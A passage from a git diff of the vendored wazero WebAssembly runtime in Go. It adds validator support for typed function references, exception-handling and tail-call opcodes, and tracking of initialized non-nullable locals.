valueTypeStack.push(ValueTypeFuncref) + if enabledFeatures.IsEnabled(experimental.CoreFeaturesTypedFunctionReferences) { + valueTypeStack.push(ValueTypeConcreteRef(functions[index], false)) + } else { + valueTypeStack.push(ValueTypeFuncref) + } + } + } else if op == OpcodeRefAsNonNull { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesTypedFunctionReferences); err != nil { + return fmt.Errorf("%s invalid as %v", OpcodeRefAsNonNullName, err) + } + tp, err := valueTypeStack.pop() + if err != nil { + return fmt.Errorf("cannot pop the operand for %s: %v", OpcodeRefAsNonNullName, err) + } else if !isReferenceValueType(tp) && tp != valueTypeUnknown { + return fmt.Errorf("type mismatch: expected reference type but was %s for %s", ValueTypeName(tp), OpcodeRefAsNonNullName) } + if tp == valueTypeUnknown { + valueTypeStack.push(tp) + } else { + valueTypeStack.push(tp.AsNonNullable()) + } + } else if op == OpcodeBrOnNull { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesTypedFunctionReferences); err != nil { + return fmt.Errorf("%s invalid as %v", OpcodeBrOnNullName, err) + } + pc++ + index, num, err := leb128.LoadUint32(body[pc:]) + if err != nil { + return fmt.Errorf("read immediate: %v", err) + } else if int(index) >= len(controlBlockStack.stack) { + return fmt.Errorf("invalid %s operation: index out of range", OpcodeBrOnNullName) + } + pc += num - 1 + // Pop the reference operand. + tp, err := valueTypeStack.pop() + if err != nil { + return fmt.Errorf("cannot pop the operand for %s: %v", OpcodeBrOnNullName, err) + } else if !isReferenceValueType(tp) && tp != valueTypeUnknown { + return fmt.Errorf("type mismatch: expected reference type but was %s for %s", ValueTypeName(tp), OpcodeBrOnNullName) + } + // If null, branch with the label's expected values (without the ref). + target := &controlBlockStack.stack[len(controlBlockStack.stack)-int(index)-1] + var targetResultType []ValueType + if target.op == OpcodeLoop { + targetResultType = target.blockType.Params + } else { + targetResultType = target.blockType.Results + } + if err = valueTypeStack.popResults(op, targetResultType, false); err != nil { + return err + } + // Push back the label results (they stay on the stack for the fall-through path). + for _, t := range targetResultType { + valueTypeStack.push(t) + } + // On the fall-through path, the non-null ref is on the stack. + if tp != valueTypeUnknown { + valueTypeStack.push(tp.AsNonNullable()) + } else { + valueTypeStack.push(tp) + } + } else if op == OpcodeBrOnNonNull { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesTypedFunctionReferences); err != nil { + return fmt.Errorf("%s invalid as %v", OpcodeBrOnNonNullName, err) + } + pc++ + index, num, err := leb128.LoadUint32(body[pc:]) + if err != nil { + return fmt.Errorf("read immediate: %v", err) + } else if int(index) >= len(controlBlockStack.stack) { + return fmt.Errorf("invalid %s operation: index out of range", OpcodeBrOnNonNullName) + } + pc += num - 1 + // Pop the reference operand. + tp, err := valueTypeStack.pop() + if err != nil { + return fmt.Errorf("cannot pop the operand for %s: %v", OpcodeBrOnNonNullName, err) + } else if !isReferenceValueType(tp) && tp != valueTypeUnknown { + return fmt.Errorf("type mismatch: expected reference type but was %s for %s", ValueTypeName(tp), OpcodeBrOnNonNullName) + } + // If non-null, branch to label with the label's expected values. + // The non-null ref is the LAST value delivered to the label. + target := &controlBlockStack.stack[len(controlBlockStack.stack)-int(index)-1] + var targetResultType []ValueType + if target.op == OpcodeLoop { + targetResultType = target.blockType.Params + } else { + targetResultType = target.blockType.Results + } + // The branch delivers: [label types..., non-null ref]. + // So the last type in the target must match the non-null ref. + if len(targetResultType) == 0 { + return fmt.Errorf("type mismatch on %s: label has no results but needs a ref type", OpcodeBrOnNonNullName) + } + nonNullTp := tp + if nonNullTp != valueTypeUnknown { + nonNullTp = tp.AsNonNullable() + } + lastTarget := targetResultType[len(targetResultType)-1] + if nonNullTp != valueTypeUnknown && !isRefSubtypeOf(nonNullTp, lastTarget) { + return fmt.Errorf("type mismatch on %s: ref type %s is not a subtype of label's last result %s", + OpcodeBrOnNonNullName, ValueTypeName(nonNullTp), ValueTypeName(lastTarget)) + } + // Pop and verify the remaining label types (all except the last which is the ref). + remaining := targetResultType[:len(targetResultType)-1] + if err = valueTypeStack.popResults(op, remaining, false); err != nil { + return err + } + // Push back the remaining label results for the fall-through path. + for _, t := range remaining { + valueTypeStack.push(t) + } + // On the fall-through (null) path, nothing extra is pushed. } else if op == OpcodeTableGet || op == OpcodeTableSet { if err := enabledFeatures.RequireEnabled(api.CoreFeatureReferenceTypes); err != nil { return fmt.Errorf("%s is invalid as %v", InstructionName(op), err) @@ -860,7 +1180,7 @@ func (m *Module) validateFunctionWithMaxStackValues( refType := tables[tableIndex].Type if op == OpcodeTableGet { - if err := valueTypeStack.popAndVerifyType(api.ValueTypeI32); err != nil { + if err := valueTypeStack.popAndVerifyType(ValueTypeI32); err != nil { return fmt.Errorf("cannot pop the operand for table.get: %v", err) } valueTypeStack.push(refType) @@ -868,7 +1188,7 @@ func (m *Module) validateFunctionWithMaxStackValues( if err := valueTypeStack.popAndVerifyType(refType); err != nil { return fmt.Errorf("cannot pop the operand for table.set: %v", err) } - if err := valueTypeStack.popAndVerifyType(api.ValueTypeI32); err != nil { + if err := valueTypeStack.popAndVerifyType(ValueTypeI32); err != nil { return fmt.Errorf("cannot pop the operand for table.set: %v", err) } } @@ -997,7 +1317,7 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("table of index %d not found", tableIndex) } - if m.ElementSection[elementIndex].Type != tables[tableIndex].Type { + if !isRefSubtypeOf(m.ElementSection[elementIndex].Type, tables[tableIndex].Type) { return fmt.Errorf("type mismatch for table.init: element type %s does not match table type %s", RefTypeName(m.ElementSection[elementIndex].Type), RefTypeName(tables[tableIndex].Type), @@ -1044,7 +1364,7 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("table of index %d not found", srcTableIndex) } - if tables[srcTableIndex].Type != tables[dstTableIndex].Type { + if !isRefSubtypeOf(tables[srcTableIndex].Type, tables[dstTableIndex].Type) { return fmt.Errorf("table type mismatch for table.copy: %s (src) != %s (dst)", RefTypeName(tables[srcTableIndex].Type), RefTypeName(tables[dstTableIndex].Type)) } @@ -1404,6 +1724,7 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("read block: %w", err) } controlBlockStack.push(pc, 0, 0, bt, num, 0) + controlBlockStack.stack[len(controlBlockStack.stack)-1].savedInitLocals = maps.Clone(sts.initLocals) if err = valueTypeStack.popParams(op, bt.Params, false); err != nil { return err } @@ -1792,6 +2113,7 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("read block: %w", err) } controlBlockStack.push(pc, 0, 0, bt, num, op) + controlBlockStack.stack[len(controlBlockStack.stack)-1].savedInitLocals = maps.Clone(sts.initLocals) if err = valueTypeStack.popParams(op, bt.Params, false); err != nil { return err } @@ -1808,6 +2130,7 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("read block: %w", err) } controlBlockStack.push(pc, 0, 0, bt, num, op) + controlBlockStack.stack[len(controlBlockStack.stack)-1].savedInitLocals = maps.Clone(sts.initLocals) if err = valueTypeStack.popAndVerifyType(ValueTypeI32); err != nil { return fmt.Errorf("cannot pop the operand for 'if': %v", err) } @@ -1831,6 +2154,8 @@ func (m *Module) validateFunctionWithMaxStackValues( if err := valueTypeStack.popResults(OpcodeIf, bl.blockType.Results, true); err != nil { return err } + // Restore init locals to the state at if-entry for the else branch. + sts.initLocals = maps.Clone(bl.savedInitLocals) // Before entering instructions inside else, we pop all the values pushed by then block. valueTypeStack.resetAtStackLimit() // Plus we have to push any block params again. @@ -1840,6 +2165,10 @@ func (m *Module) validateFunctionWithMaxStackValues( } else if op == OpcodeEnd { bl := controlBlockStack.pop() bl.endAt = pc + // Restore init locals to the state at block entry (skip for outermost function block). + if len(controlBlockStack.stack) > 0 { + sts.initLocals = bl.savedInitLocals + } // OpcodeEnd can end a block or the function itself. Check to see what it is: @@ -1847,7 +2176,7 @@ func (m *Module) validateFunctionWithMaxStackValues( if ifMissingElse { // If this is the end of block without else, the number of block's results and params must be same. // Otherwise, the value stack would result in the inconsistent state at runtime. - if !bytes.Equal(bl.blockType.Results, bl.blockType.Params) { + if !slices.Equal(bl.blockType.Results, bl.blockType.Params) { return typeCountError(false, OpcodeElseName, bl.blockType.Params, bl.blockType.Results) } // -1 skips else, to handle if block without else properly. @@ -1910,20 +2239,50 @@ func (m *Module) validateFunctionWithMaxStackValues( return fmt.Errorf("too many type immediates for %s", InstructionName(op)) } pc++ - tp := body[pc] - if tp != ValueTypeI32 && tp != ValueTypeI64 && tp != ValueTypeF32 && tp != ValueTypeF64 && - tp != api.ValueTypeExternref && tp != ValueTypeFuncref && tp != ValueTypeV128 { - return fmt.Errorf("invalid type %s for %s", ValueTypeName(tp), OpcodeTypedSelectName) + b := body[pc] + switch b { + case RefPrefixNullable, RefPrefixNonNullable: + br.Reset(body[pc+1:]) + ht, num, err := leb128.DecodeInt33AsInt64(br) + if err != nil { + return fmt.Errorf("read heap type for %s: %v", OpcodeTypedSelectName, err) + } + pc += uint64(num) + switch ht { + case HeapTypeFunc: + // ok + case HeapTypeExtern: + // ok + case HeapTypeExn: + // ok + default: + if ht < 0 { + return fmt.Errorf("invalid heap type for %s: %d", OpcodeTypedSelectName, ht) + } + if int(ht) >= len(m.TypeSection) { + return fmt.Errorf("unknown type for %s: type index %d out of range", OpcodeTypedSelectName, ht) + } + } + default: + tp := ValueType(b) + if tp != ValueTypeI32 && tp != ValueTypeI64 && tp != ValueTypeF32 && tp != ValueTypeF64 && + tp != ValueTypeExternref && tp != ValueTypeFuncref && tp != ValueTypeV128 { + return fmt.Errorf("invalid type %s for %s", ValueTypeName(tp), OpcodeTypedSelectName) + } } } else if isReferenceValueType(v1) || isReferenceValueType(v2) { return fmt.Errorf("reference types cannot be used for non typed select instruction") } - if v1 != v2 && v1 != valueTypeUnknown && v2 != valueTypeUnknown { + if v1 != valueTypeUnknown && v2 != valueTypeUnknown && !areRefTypesCompatible(v1, v2) { return fmt.Errorf("type mismatch on 1st and 2nd select operands") } if v1 == valueTypeUnknown { valueTypeStack.push(v2) + } else if v2 == valueTypeUnknown { + valueTypeStack.push(v1) + } else if isRefSubtypeOf(v1, v2) { + valueTypeStack.push(v2) } else { valueTypeStack.push(v1) } @@ -1931,6 +2290,10 @@ func (m *Module) validateFunctionWithMaxStackValues( // unreachable instruction is stack-polymorphic. valueTypeStack.unreachable() } else if op == OpcodeNop { + } else if enabledFeatures.IsEnabled(experimental.CoreFeaturesExceptionHandling) && + (op == OpcodeLegacyTry || op == OpcodeLegacyCatch || op == OpcodeLegacyRethrow || + op == OpcodeLegacyDelegate || op == OpcodeLegacyCatchAll) { + return fmt.Errorf("legacy exception handling instruction 0x%x not supported; recompile with wasm-opt --translate-to-exnref", op) } else { return fmt.Errorf("invalid instruction 0x%x", op) } @@ -2005,6 +2368,8 @@ type stacks struct { cs controlBlockStack // ls is the label slice that is reused for each br_table instruction. ls []uint32 + // initLocals tracks which non-nullable ref locals have been initialized. + initLocals map[uint32]struct{} } func (sts *stacks) reset(functionType *FunctionType) { @@ -2015,12 +2380,64 @@ func (sts *stacks) reset(functionType *FunctionType) { sts.cs.stack = sts.cs.stack[:0] sts.cs.stack = append(sts.cs.stack, controlBlock{blockType: functionType}) sts.ls = sts.ls[:0] + clear(sts.initLocals) + if sts.initLocals == nil { + sts.initLocals = make(map[uint32]struct{}) + } +} + +func (sts *stacks) validateCallSignature(opName string, funcType *FunctionType) error { + for i := len(funcType.Params) - 1; i >= 0; i-- { + if err := sts.vs.popAndVerifyType(funcType.Params[i]); err != nil { + return fmt.Errorf("type mismatch on %s operation param type: %v", opName, err) + } + } + for _, exp := range funcType.Results { + sts.vs.push(exp) + } + return nil +} + +func (sts *stacks) validateReturnCall( + opName string, + enabledFeatures api.CoreFeatures, + calleeFuncType, callerFuncType *FunctionType, +) error { + if err := enabledFeatures.RequireEnabled(experimental.CoreFeaturesTailCall); err != nil { + return fmt.Errorf("%s invalid as %v", opName, err) + } + if len(calleeFuncType.Results) != len(callerFuncType.Results) { + return fmt.Errorf("type mismatch on %s: caller returns %d values but callee returns %d", + opName, len(callerFuncType.Results), len(calleeFuncType.Results)) + } + return sts.vs.requireStackValues(false, "", callerFuncType.Results, false) } type controlBlockStack struct { stack []controlBlock } +func (sts *stacks) requireLocalInit(index, inputLen uint32, localTypes []ValueType) error { + if index >= inputLen { + lt := localTypes[index-inputLen] + if lt.IsRef() && !lt.IsNullable() { + if _, ok := sts.initLocals[index]; !ok { + return fmt.Errorf("uninitialized local %d", index) + } + } + } + return nil +} + +func (sts *stacks) markLocalInit(index, inputLen uint32, localTypes []ValueType) { + if index >= inputLen { + lt := localTypes[index-inputLen] + if lt.IsRef() && !lt.IsNullable() { + sts.initLocals[index] = struct{}{} + } + } +} + func (s *controlBlockStack) pop() *controlBlock { tail := len(s.stack) - 1 ret := &s.stack[tail] @@ -2083,7 +2500,7 @@ func (s *valueTypeStack) popAndVerifyType(expected ValueType) error { if !ok { return fmt.Errorf("%s missing", ValueTypeName(expected)) } - if have != expected && have != valueTypeUnknown && expected != valueTypeUnknown { + if have != valueTypeUnknown && expected != valueTypeUnknown && !isRefSubtypeOf(have, expected) { return fmt.Errorf("type mismatch: expected %s, but was %s", ValueTypeName(expected), ValueTypeName(have)) } return nil @@ -2165,7 +2582,7 @@ func (s *valueTypeStack) requireStackValues( // Finally, check the types of the values: for i, v := range s.requireStackValuesTmp { nextWant := want[countWanted-i-1] // have is in reverse order (stack) - if v != nextWant && v != valueTypeUnknown && nextWant != valueTypeUnknown { + if v != valueTypeUnknown && nextWant != valueTypeUnknown && !isRefSubtypeOf(v, nextWant) { return typeMismatchError(isParam, context, v, nextWant, i) } } @@ -2262,6 +2679,8 @@ type controlBlock struct { blockTypeBytes uint64 // op is zero when the outermost block op Opcode + // savedInitLocals is the set of initialized locals at the time this block was entered. + savedInitLocals map[uint32]struct{} } // DecodeBlockType decodes the type index from a positive 33-bit signed integer. Negative numbers indicate up to one @@ -2294,6 +2713,54 @@ func DecodeBlockType(types []FunctionType, r *bytes.Reader, enabledFeatures api. ret = blockType_v_funcref case -17: // 0x6f in original byte = externref ret = blockType_v_externref + case -23: // 0x69 in original byte = exnref + ret = blockType_v_exnref + case -29: // 0x63 = ref null (nullable) + ht, htNum, err := leb128.DecodeInt33AsInt64(r) + if err != nil { + return nil, 0, fmt.Errorf("read ref heap type in block: %w", err) + } + num += htNum + switch ht { + case HeapTypeExn: + ret = blockType_v_exnref + case HeapTypeFunc: + ret = blockType_v_funcref + case HeapTypeExtern: + ret = blockType_v_externref + default: + if ht < 0 { + return nil, 0, fmt.Errorf("unknown abstract heap type in block: %d", ht) + } + if int64(len(types)) <= ht { + return nil, 0, fmt.Errorf("unknown type") + } + vt := ValueTypeConcreteRef(uint32(ht), true) + ret = &FunctionType{Results: []ValueType{vt}, ResultNumInUint64: 1} + } + case -28: // 0x64 = ref (non-nullable) + ht, htNum, err := leb128.DecodeInt33AsInt64(r) + if err != nil { + return nil, 0, fmt.Errorf("read ref heap type in block: %w", err) + } + num += htNum + switch ht { + case HeapTypeExn: + ret = &FunctionType{Results: []ValueType{ValueTypeExnref.AsNonNullable()}, ResultNumInUint64: 1} + case HeapTypeFunc: + ret = &FunctionType{Results: []ValueType{ValueTypeFuncref.AsNonNullable()}, ResultNumInUint64: 1} + case HeapTypeExtern: + ret = &FunctionType{Results: []ValueType{ValueTypeExternref.AsNonNullable()}, ResultNumInUint64: 1} + default: + if ht < 0 { + return nil, 0, fmt.Errorf("unknown abstract heap type in block: %d", ht) + } + if int64(len(types)) <= ht { + return nil, 0, fmt.Errorf("unknown type") + } + vt := ValueTypeConcreteRef(uint32(ht), false) + ret = &FunctionType{Results: []ValueType{vt}, ResultNumInUint64: 1} + } default: if err = enabledFeatures.RequireEnabled(api.CoreFeatureMultiValue); err != nil { return nil, num, fmt.Errorf("block with function type return invalid as %v", err) @@ -2316,6 +2783,7 @@ var ( blockType_v_v128 = &FunctionType{Results: []ValueType{ValueTypeV128}, ResultNumInUint64: 2} blockType_v_funcref = &FunctionType{Results: []ValueType{ValueTypeFuncref}, ResultNumInUint64: 1} blockType_v_externref = &FunctionType{Results: []ValueType{ValueTypeExternref}, ResultNumInUint64: 1} + blockType_v_exnref = &FunctionType{Results: []ValueType{ValueTypeExnref}, ResultNumInUint64: 1} ) // SplitCallStack returns the input stack resliced to the count of params and diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/function_definition.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/function_definition.go index c5f6e912..340d625b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/function_definition.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/function_definition.go @@ -168,8 +168,8 @@ func (f *FunctionDefinition) GoFunction() interface{} { } // ParamTypes implements api.FunctionDefinition ParamTypes. -func (f *FunctionDefinition) ParamTypes() []ValueType { - return f.Functype.Params +func (f *FunctionDefinition) ParamTypes() []api.ValueType { + return ToApiValueType(f.Functype.Params) } // ParamNames implements the same method as documented on api.FunctionDefinition. @@ -178,11 +178,33 @@ func (f *FunctionDefinition) ParamNames() []string { } // ResultTypes implements api.FunctionDefinition ResultTypes. -func (f *FunctionDefinition) ResultTypes() []ValueType { - return f.Functype.Results +func (f *FunctionDefinition) ResultTypes() []api.ValueType { + return ToApiValueType(f.Functype.Results) } // ResultNames implements the same method as documented on api.FunctionDefinition. func (f *FunctionDefinition) ResultNames() []string { return f.resultNames } + +func ToApiValueType(values []ValueType) []api.ValueType { + if values == nil { + return nil + } + apiValues := make([]api.ValueType, len(values)) + for i, v := range values { + apiValues[i] = api.ValueType(v) + } + return apiValues +} + +func FromApiValueType(apiValues []api.ValueType) []ValueType { + if apiValues == nil { + return nil + } + values := make([]ValueType, len(apiValues)) + for i, v := range apiValues { + values[i] = ValueType(v) + } + return values +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/global.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/global.go index abaa2d1f..f7d0b159 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/global.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/global.go @@ -13,7 +13,7 @@ type constantGlobal struct { // Type implements api.Global. func (g constantGlobal) Type() api.ValueType { - return g.g.Type.ValType + return g.g.Type.ValType.Kind() } // Get implements api.Global. @@ -35,7 +35,7 @@ type mutableGlobal struct { // Type implements api.Global. func (g mutableGlobal) Type() api.ValueType { - return g.g.Type.ValType + return g.g.Type.ValType.Kind() } // Get implements api.Global. diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/gofunc.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/gofunc.go index 9510c258..5ecf6cab 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/gofunc.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/gofunc.go @@ -1,12 +1,12 @@ package wasm import ( - "bytes" "context" "errors" "fmt" "math" "reflect" + "slices" "github.com/tetratelabs/wazero/api" ) @@ -47,7 +47,7 @@ func (f *reflectGoModuleFunction) EqualTo(that interface{}) bool { return false } else { // TODO compare reflect pointers - return bytes.Equal(f.params, f2.params) && bytes.Equal(f.results, f2.results) + return slices.Equal(f.params, f2.params) && slices.Equal(f.results, f2.results) } } @@ -67,7 +67,7 @@ func (f *reflectGoFunction) EqualTo(that interface{}) bool { } else { // TODO compare reflect pointers return f.pk == f2.pk && - bytes.Equal(f.params, f2.params) && bytes.Equal(f.results, f2.results) + slices.Equal(f.params, f2.params) && slices.Equal(f.results, f2.results) } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/instruction.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/instruction.go index 67f196b8..f92ea8de 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/instruction.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/instruction.go @@ -20,6 +20,20 @@ const ( // OpcodeElse brackets a sequence of instructions enclosed by an OpcodeIf. A branch instruction on a then label // breaks out to after the OpcodeEnd on the enclosing OpcodeIf. OpcodeElse Opcode = 0x05 + + // Exception handling instructions (toggled with CoreFeaturesExceptionHandling) + + // OpcodeThrow throws an exception with the given tag. + OpcodeThrow Opcode = 0x08 + // OpcodeThrowRef re-throws the exception referenced by an exnref value. + OpcodeThrowRef Opcode = 0x0a + + // Legacy exception handling opcodes (not supported; use wasm-opt --translate-to-exnref) + + OpcodeLegacyTry Opcode = 0x06 + OpcodeLegacyCatch Opcode = 0x07 + OpcodeLegacyRethrow Opcode = 0x09 + // OpcodeEnd terminates a control instruction OpcodeBlock, OpcodeLoop or OpcodeIf. OpcodeEnd Opcode = 0x0b @@ -48,6 +62,16 @@ const ( OpcodeSelect Opcode = 0x1b OpcodeTypedSelect Opcode = 0x1c + // Legacy exception handling opcodes (not supported; use wasm-opt --translate-to-exnref) + + OpcodeLegacyDelegate Opcode = 0x18 + OpcodeLegacyCatchAll Opcode = 0x19 + + // Exception handling instructions (toggled with CoreFeaturesExceptionHandling) + + // OpcodeTryTable brackets a sequence of instructions with catch clauses for exception handling. + OpcodeTryTable Opcode = 0x1f + // variable instructions OpcodeLocalGet Opcode = 0x20 @@ -250,6 +274,18 @@ const ( // Currently, this is only supported in the constant expression in element segments. OpcodeRefFunc = 0xd2 + // Typed function references instructions (toggled with CoreFeaturesTypedFunctionReferences) + + // OpcodeRefAsNonNull pops a nullable reference and traps if null, otherwise pushes + // the non-nullable version. + OpcodeRefAsNonNull Opcode = 0xd4 + // OpcodeBrOnNull pops a reference and branches if null, otherwise pushes + // the non-nullable reference. + OpcodeBrOnNull Opcode = 0xd5 + // OpcodeBrOnNonNull pops a reference and branches if non-null (carrying the ref), + // otherwise falls through. + OpcodeBrOnNonNull Opcode = 0xd6 + // Below are toggled with CoreFeatureSignExtensionOps // OpcodeI32Extend8S extends a signed 8-bit integer to a 32-bit integer. @@ -777,6 +813,24 @@ const ( OpcodeAtomicI64Rmw32CmpxchgU OpcodeAtomic = 0x4e ) +// OpcodeTailCall represents an opcode of a tail call instructions. +// +// These opcodes are toggled with CoreFeaturesTailCall. +type OpcodeTailCall = byte + +const ( + OpcodeTailCallReturnCall OpcodeTailCall = 0x12 + OpcodeTailCallReturnCallIndirect OpcodeTailCall = 0x13 +) + +// OpcodeCallRef and OpcodeReturnCallRef are typed function references instructions. +// +// These opcodes are toggled with CoreFeaturesTypedFunctionReferences. +const ( + OpcodeCallRef Opcode = 0x14 + OpcodeReturnCallRef Opcode = 0x15 +) + const ( OpcodeUnreachableName = "unreachable" OpcodeNopName = "nop" @@ -952,9 +1006,14 @@ const ( OpcodeF32ReinterpretI32Name = "f32.reinterpret_i32" OpcodeF64ReinterpretI64Name = "f64.reinterpret_i64" - OpcodeRefNullName = "ref.null" - OpcodeRefIsNullName = "ref.is_null" - OpcodeRefFuncName = "ref.func" + OpcodeRefNullName = "ref.null" + OpcodeRefIsNullName = "ref.is_null" + OpcodeRefFuncName = "ref.func" + OpcodeRefAsNonNullName = "ref.as_non_null" + OpcodeBrOnNullName = "br_on_null" + OpcodeBrOnNonNullName = "br_on_non_null" + OpcodeCallRefName = "call_ref" + OpcodeReturnCallRefName = "return_call_ref" OpcodeTableGetName = "table.get" OpcodeTableSetName = "table.set" @@ -979,6 +1038,8 @@ var instructionNames = [256]string{ OpcodeLoop: OpcodeLoopName, OpcodeIf: OpcodeIfName, OpcodeElse: OpcodeElseName, + OpcodeThrow: OpcodeThrowName, + OpcodeThrowRef: OpcodeThrowRefName, OpcodeEnd: OpcodeEndName, OpcodeBr: OpcodeBrName, OpcodeBrIf: OpcodeBrIfName, @@ -986,6 +1047,7 @@ var instructionNames = [256]string{ OpcodeReturn: OpcodeReturnName, OpcodeCall: OpcodeCallName, OpcodeCallIndirect: OpcodeCallIndirectName, + OpcodeTryTable: OpcodeTryTableName, OpcodeDrop: OpcodeDropName, OpcodeSelect: OpcodeSelectName, OpcodeTypedSelect: OpcodeTypedSelectName, @@ -1147,9 +1209,14 @@ var instructionNames = [256]string{ OpcodeF32ReinterpretI32: OpcodeF32ReinterpretI32Name, OpcodeF64ReinterpretI64: OpcodeF64ReinterpretI64Name, - OpcodeRefNull: OpcodeRefNullName, - OpcodeRefIsNull: OpcodeRefIsNullName, - OpcodeRefFunc: OpcodeRefFuncName, + OpcodeRefNull: OpcodeRefNullName, + OpcodeRefIsNull: OpcodeRefIsNullName, + OpcodeRefFunc: OpcodeRefFuncName, + OpcodeRefAsNonNull: OpcodeRefAsNonNullName, + OpcodeBrOnNull: OpcodeBrOnNullName, + OpcodeBrOnNonNull: OpcodeBrOnNonNullName, + OpcodeCallRef: OpcodeCallRefName, + OpcodeReturnCallRef: OpcodeReturnCallRefName, OpcodeTableGet: OpcodeTableGetName, OpcodeTableSet: OpcodeTableSetName, @@ -1864,3 +1931,32 @@ var atomicInstructionName = map[OpcodeAtomic]string{ func AtomicInstructionName(oc OpcodeAtomic) (ret string) { return atomicInstructionName[oc] } + +const ( + OpcodeTailCallReturnCallName = "return_call" + OpcodeTailCallReturnCallIndirectName = "return_call_indirect" +) + +var tailCallInstructionName = map[OpcodeTailCall]string{ + OpcodeTailCallReturnCall: OpcodeTailCallReturnCallName, + OpcodeTailCallReturnCallIndirect: OpcodeTailCallReturnCallIndirectName, +} + +// TailCallInstructionName returns the instruction name corresponding to the tail call Opcode. +func TailCallInstructionName(oc OpcodeTailCall) (ret string) { + return tailCallInstructionName[oc] +} + +// Catch clause kinds used within try_table encoding. +const ( + CatchKindCatch byte = 0x00 + CatchKindCatchRef byte = 0x01 + CatchKindCatchAll byte = 0x02 + CatchKindCatchAllRef byte = 0x03 +) + +const ( + OpcodeThrowName = "throw" + OpcodeThrowRefName = "throw_ref" + OpcodeTryTableName = "try_table" +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/memory.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/memory.go index 9a1f0c6d..27553055 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/memory.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/memory.go @@ -87,8 +87,7 @@ func NewMemoryInstance(memSec *Memory, allocator experimental.MemoryAllocator, m // // Also, allocating Max here isn't harmful as the Go runtime uses mmap for large allocations, therefore, // the memory buffer allocation here is virtual and doesn't consume physical memory until it's used. - // * https://github.com/golang/go/blob/8121604559035734c9677d5281bbdac8b1c17a1e/src/runtime/malloc.go#L1059 - // * https://github.com/golang/go/blob/8121604559035734c9677d5281bbdac8b1c17a1e/src/runtime/malloc.go#L1165 + // * https://github.com/golang/go/blob/go1.24.0/src/runtime/malloc.go#L1059 buffer = make([]byte, minBytes, maxBytes) } else { buffer = make([]byte, minBytes, capBytes) diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/module.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/module.go index 8369ad9e..1d696faf 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/module.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/module.go @@ -6,15 +6,13 @@ import ( "encoding/binary" "errors" "fmt" - "io" + "slices" "sort" "strings" "sync" "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental" - "github.com/tetratelabs/wazero/internal/ieee754" - "github.com/tetratelabs/wazero/internal/leb128" "github.com/tetratelabs/wazero/internal/wasmdebug" ) @@ -97,6 +95,19 @@ type Module struct { // See https://www.w3.org/TR/2019/REC-wasm-core-1-20191205/#memory-section%E2%91%A0 MemorySection *Memory + // TagSection contains each tag defined in this module for exception handling. + // + // Tag indexes are offset by any imported tags because the tag index begins with imports, followed by + // ones defined in this module. + // + // Note: In the Binary Format, this is SectionIDTag. + // + // See https://github.com/WebAssembly/exception-handling/blob/main/proposals/exception-handling/Exceptions.md + TagSection []Tag + + // ImportTagCount is the cached count of imported tags set during decoding. + ImportTagCount Index + // GlobalSection contains each global defined in this module. // // Global indexes are offset by any imported globals because the global index begins with imports, followed by @@ -227,6 +238,16 @@ func boolToByte(b bool) (ret byte) { // typeOfFunction returns the wasm.FunctionType for the given function space index or nil. func (m *Module) typeOfFunction(funcIdx Index) *FunctionType { + typeIdx, ok := m.typeIndexOfFunction(funcIdx) + if !ok { + return nil + } + return &m.TypeSection[typeIdx] +} + +// typeIndexOfFunction returns the type section index for the given function +// space index, or false if the index is out of range. +func (m *Module) typeIndexOfFunction(funcIdx Index) (Index, bool) { typeSectionLength, importedFunctionCount := uint32(len(m.TypeSection)), m.ImportFunctionCount if funcIdx < importedFunctionCount { // Imports are not exclusively functions. This is the current function index in the loop. @@ -238,9 +259,9 @@ func (m *Module) typeOfFunction(funcIdx Index) *FunctionType { } if funcIdx == cur { if imp.DescFunc >= typeSectionLength { - return nil + return 0, false } - return &m.TypeSection[imp.DescFunc] + return imp.DescFunc, true } cur++ } @@ -248,13 +269,13 @@ func (m *Module) typeOfFunction(funcIdx Index) *FunctionType { funcSectionIdx := funcIdx - m.ImportFunctionCount if funcSectionIdx >= uint32(len(m.FunctionSection)) { - return nil + return 0, false } typeIdx := m.FunctionSection[funcSectionIdx] if typeIdx >= typeSectionLength { - return nil + return 0, false } - return &m.TypeSection[typeIdx] + return typeIdx, true } func (m *Module) Validate(enabledFeatures api.CoreFeatures) error { @@ -263,15 +284,23 @@ func (m *Module) Validate(enabledFeatures api.CoreFeatures) error { tp.CacheNumInUint64() } + if err := m.validateConcreteRefTypes(); err != nil { + return err + } + if err := m.validateStartSection(); err != nil { return err } - functions, globals, memory, tables, err := m.AllDeclarations() + functions, globals, memory, tables, tags, err := m.AllDeclarations() if err != nil { return err } + if err = m.validateTableInitExprs(globals, uint32(len(functions))); err != nil { + return err + } + if err = m.validateImports(enabledFeatures); err != nil { return err } @@ -284,12 